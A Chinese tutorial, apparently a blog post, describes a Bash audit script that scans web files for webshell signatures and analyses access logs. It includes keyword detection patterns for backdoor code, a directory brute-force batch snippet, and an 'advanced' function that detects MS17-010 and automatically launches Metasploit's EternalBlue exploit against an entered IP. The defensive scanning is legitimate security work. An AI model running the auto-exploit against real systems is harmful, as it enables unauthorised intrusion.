基于Bash Shell的一个审计脚本
字数 1195 2025-08-15 21:32:54

Bash Shell 审计脚本教学文档

一、脚本概述

这是一个基于Bash Shell编写的多功能审计脚本,主要用于Linux系统下的安全审计工作。脚本主要包含三大功能模块:

  1. Webshell后门扫描
  2. 网站日志分析
  3. 日志搜索功能

脚本特点:

  • 纯Bash实现,无需额外安装依赖
  • 适用于Python等环境受限的服务器
  • 采用模块化设计,通过function实现功能调用
  • 模仿MSF的交互界面风格

二、核心功能详解

1. Webshell后门扫描功能

功能描述

扫描指定目录下的各类Web文件(PHP、JSP、HTML、TXT等),检测可能存在的恶意代码和后门。

实现原理

  • 使用find命令递归查找指定目录下的文件
  • 通过egrep匹配预定义的特征字符串
  • 使用不同颜色标识不同威胁等级

关键代码分析

if [ -z $filepath ];then
    echo -e "\033[1;31m 请输入要扫描的路径!\033[0m"
    webscan
elif [ -z $wordlist ];then
    # 使用内置字典扫描
    find $filepath -name "*.php"|xargs egrep "eval|<?php eval|GIF89a|_P\OS\"\.|<?php \$_GET|base64_decode\($|array_map\(assert|array\(\$Base\(\$_POS|extract\(\$_REQUEST|eval\(\'@ini_set|ZXZhbCgnQGluaV9zZXQ|\'e\'\.\'v\'\.\'a\'\.\'l\'" |grep -v "Binary"|awk -F ":" '{print $1 " " "\033[45;37m 一句话后门 \033[0m"}'|uniq
    
    find $filepath -name "*.php"|xargs egrep "一句话|小马|大马|挂马|提权|命令|文件管理|免杀|后门|system$\$cmd$|shell_exec$\$cmd$|\$cmd=socket|cmd|shellname|shell|webshell|f377368656c6c2e676f6f676c65636f6|explode\(|mysqlDll\.dll|exec sp_configure|xp_cmdshell|BackDoor|net user|eval\(gzunc|cmd\.exe|command|execfunc"|grep -v "Binary"|awk -F ":" '{print $1 " " "\033[41;37m 疑似webshell大马 \033[0m"}'|uniq 
    
    # 其他文件类型扫描类似...
else
    # 使用自定义字典扫描
    wordlist1=$(cat $wordlist)
    find $filepath -name "*.php"|xargs egrep "$wordlist1" |grep -v "Binary"|awk -F ":" '{print $1 " " "\033[45;37m 一句话后门 \033[0m"}'|uniq
    # 其他文件类型扫描...
fi

字典文件说明

  • 内置字典包含常见Webshell特征
  • 支持自定义字典文件
  • 字典格式要求:
    • 每行一个特征字符串
    • 特殊字符需要转义
    • 示例:test|\$POST|\(\$_POST
    • 中文内容需转换为UNIX格式(使用Notepad++转换)

2. 网站日志分析功能

功能描述

分析网站访问日志,提取有价值的安全信息。

实现原理

  • 基于三年前作者编写的日志分析脚本(未做大幅修改)
  • 主要分析access日志文件
  • 过滤无关响应码(404、400等)

关键功能

  • 异常访问统计
  • IP频率分析
  • 攻击特征识别

3. 日志搜索功能

功能描述

根据文件名或IP地址搜索日志内容。

实现原理

read -p "请输入要分析的脚本名称:" name66
if [ -z $name66 ];then
    echo "请输入正确的文件名"
else
    more $filepath2/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{
        print "访问IP地址为:"$1" ""后门地址为:"$7
    }'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath2/log/$name66-ip.log
    # 结果处理和显示...
fi

三、脚本框架设计

1. 主菜单结构

#!/bin/bash

function menu {
    cat <<EOF
    echo "1) 功能1"
    echo "2) 功能2"
    echo "3) 功能3"
    echo "4) 功能4"
EOF
    read -p "请输入要选择的功能序号:" num1
    case "$num1" in
        1) gn1 ;;
        2) gn2 ;;
        3) gn3 ;;
        4) gn4 ;;
    esac
}

# 功能函数示例
function gn1 {
    echo "我是功能1"
    menu  # 返回主菜单
}

function gn2 {
    echo "我是功能2"
    read -p "如果想嵌套子功能,就学我:" zgn
    case "$zgn" in
        1) echo "我是功能2的子功能,看见我因为你输入的是1" ;;
        2) echo "case 2 or 3" ;;
        3) echo "default" ;;
    esac
    gn2  # 递归调用实现子菜单
}

# 启动脚本
menu

2. 设计特点

  • 模块化:每个功能独立为函数
  • 可扩展:易于添加新功能
  • 交互式:通过read获取用户输入
  • 递归调用:实现子菜单功能

四、高级应用示例

1. 自动化漏洞利用(MS17-010示例)

function ms17010 {
    echo -e "\033[1;35m ms17010 攻击演示:\033[0m"
    echo -e "\033[1;35m 准备探测\033[0m"
    read -p "请输入要扫描的IP地址:" num2
    
    # 探测445端口
    cmd=$(nmap -v -n $num2|grep -v "mass_dns"|egrep "open port 445" |awk -F "/" '{print $1}')
    
    if [ "$cmd" = "Discovered open port 445" ];then
        # 检测MS17-010漏洞
        cmd2=$(nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_dns"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}')
        echo -e "\033[1;35m $num2 \033[0m 已开放445端口"
    else
        echo -e "\033[1;35m $num2 \033[0m 未开启445端口"
    fi
    
    if [ "$cmd2" = "(ms17-010)" ];then
        echo -e "检测到目标:\033[1;35m $num2 \033[0m 存在MS17-010漏洞!"
        sleep 3
        echo -e "\033[1;35m 开始进行攻击\033[0m"
        # 自动调用MSF进行攻击
        msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"
    else
        echo "目标不存在漏洞"
    fi
    exit
}

2. Windows批处理懒人脚本示例

@set /p ym="输入要扫描的域名地址:"
@set /p jb="输入要扫描的脚本类型:"
@set /p gn="请选择要使用的功能:"

@if %gn%==1 (
    @echo 普通扫描!
    C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -x 403,404,400,401
) else (
    @if %gn%==2 (
        @echo 递归扫描!
        C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -f -F -r -e %jb% -x 403,404,400,401 -R 5 --timeout=20 --max-retries=5
    )
)
pause

五、使用技巧

  1. 颜色输出:使用ANSI颜色代码增强可读性

    • 示例:echo -e "\033[45;37m 内容 \033[0m"
    • 45: 背景色;37: 前景色
  2. 日志处理

    • 过滤无关信息:grep -v "Binary"
    • 排除错误响应码:grep -v " 404"
  3. 字典优化

    • 定期更新特征字符串
    • 针对特定CMS定制字典
  4. 性能考虑

    • 对大目录扫描时,考虑使用-prune排除无关目录
    • 对大量文件使用xargs提高效率

六、资源获取

完整脚本下载:

  • 链接: https://pan.baidu.com/s/1r5v1U6BAdkpD95W7-TjNQg
  • 提取码: 2zls

七、总结

该脚本展示了如何利用Bash Shell实现实用的安全审计工具,核心价值在于:

  1. 纯Shell实现,环境兼容性好
  2. 模块化设计,易于维护和扩展
  3. 自动化思路,提高工作效率
  4. 交互式界面,降低使用门槛

通过学习和扩展此脚本,可以开发出更多实用的安全自动化工具。

Bash Shell 审计脚本教学文档 一、脚本概述 这是一个基于Bash Shell编写的多功能审计脚本,主要用于Linux系统下的安全审计工作。脚本主要包含三大功能模块: Webshell后门扫描 网站日志分析 日志搜索功能 脚本特点: 纯Bash实现,无需额外安装依赖 适用于Python等环境受限的服务器 采用模块化设计,通过function实现功能调用 模仿MSF的交互界面风格 二、核心功能详解 1. Webshell后门扫描功能 功能描述 扫描指定目录下的各类Web文件(PHP、JSP、HTML、TXT等),检测可能存在的恶意代码和后门。 实现原理 使用 find 命令递归查找指定目录下的文件 通过 egrep 匹配预定义的特征字符串 使用不同颜色标识不同威胁等级 关键代码分析 字典文件说明 内置字典包含常见Webshell特征 支持自定义字典文件 字典格式要求: 每行一个特征字符串 特殊字符需要转义 示例: test|\$POST|\(\$_POST 中文内容需转换为UNIX格式(使用Notepad++转换) 2. 网站日志分析功能 功能描述 分析网站访问日志,提取有价值的安全信息。 实现原理 基于三年前作者编写的日志分析脚本(未做大幅修改) 主要分析access日志文件 过滤无关响应码(404、400等) 关键功能 异常访问统计 IP频率分析 攻击特征识别 3. 日志搜索功能 功能描述 根据文件名或IP地址搜索日志内容。 实现原理 三、脚本框架设计 1. 主菜单结构 2. 设计特点 模块化:每个功能独立为函数 可扩展:易于添加新功能 交互式:通过read获取用户输入 递归调用:实现子菜单功能 四、高级应用示例 1. 自动化漏洞利用(MS17-010示例) 2. Windows批处理懒人脚本示例 五、使用技巧 颜色输出 :使用ANSI颜色代码增强可读性 示例: echo -e "\033[45;37m 内容 \033[0m" 45: 背景色;37: 前景色 日志处理 : 过滤无关信息: grep -v "Binary" 排除错误响应码: grep -v " 404" 字典优化 : 定期更新特征字符串 针对特定CMS定制字典 性能考虑 : 对大目录扫描时,考虑使用 -prune 排除无关目录 对大量文件使用 xargs 提高效率 六、资源获取 完整脚本下载: 链接: https://pan.baidu.com/s/1r5v1U6BAdkpD95W7-TjNQg 提取码: 2zls 七、总结 该脚本展示了如何利用Bash Shell实现实用的安全审计工具,核心价值在于: 纯Shell实现,环境兼容性好 模块化设计,易于维护和扩展 自动化思路,提高工作效率 交互式界面,降低使用门槛 通过学习和扩展此脚本,可以开发出更多实用的安全自动化工具。